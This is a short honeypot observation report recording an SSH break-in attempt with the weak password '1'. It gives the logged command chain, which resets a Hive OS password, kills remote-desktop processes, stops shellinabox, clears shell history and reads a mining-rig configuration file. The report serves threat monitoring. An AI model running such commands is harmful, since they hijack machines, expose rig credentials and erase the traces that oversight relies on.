Attack Report for Observation

Header

Time

2024/02/03, 15:00:39 (GMT)

Transaction ID

WPGS8Y84L3OQO9KY

Service

ssh

Location

US (United States)

Attacker

185.196.8.151

Classification

Security execution

Harm Potential

High

Description

Command execution for security vulnerability

Content

185.196.8.151 client username 'user' and password '1' entered
185.196.8.151 client command : 'sudo hive-passwd set ifjeeisurofmioufiose; sudo hive-passwd ifjeeisurofmioufiose; pkill Xorg; pkill x11vnc; pkill Hello; systemctl stop shellinabox; history -c; cat /hive-config/rig.conf; uname -a'

All observations are coming from honeypot central database.

Please share your wishes, opinions and suggestions with us:

If you like, you can support
with your donations to us..

Donate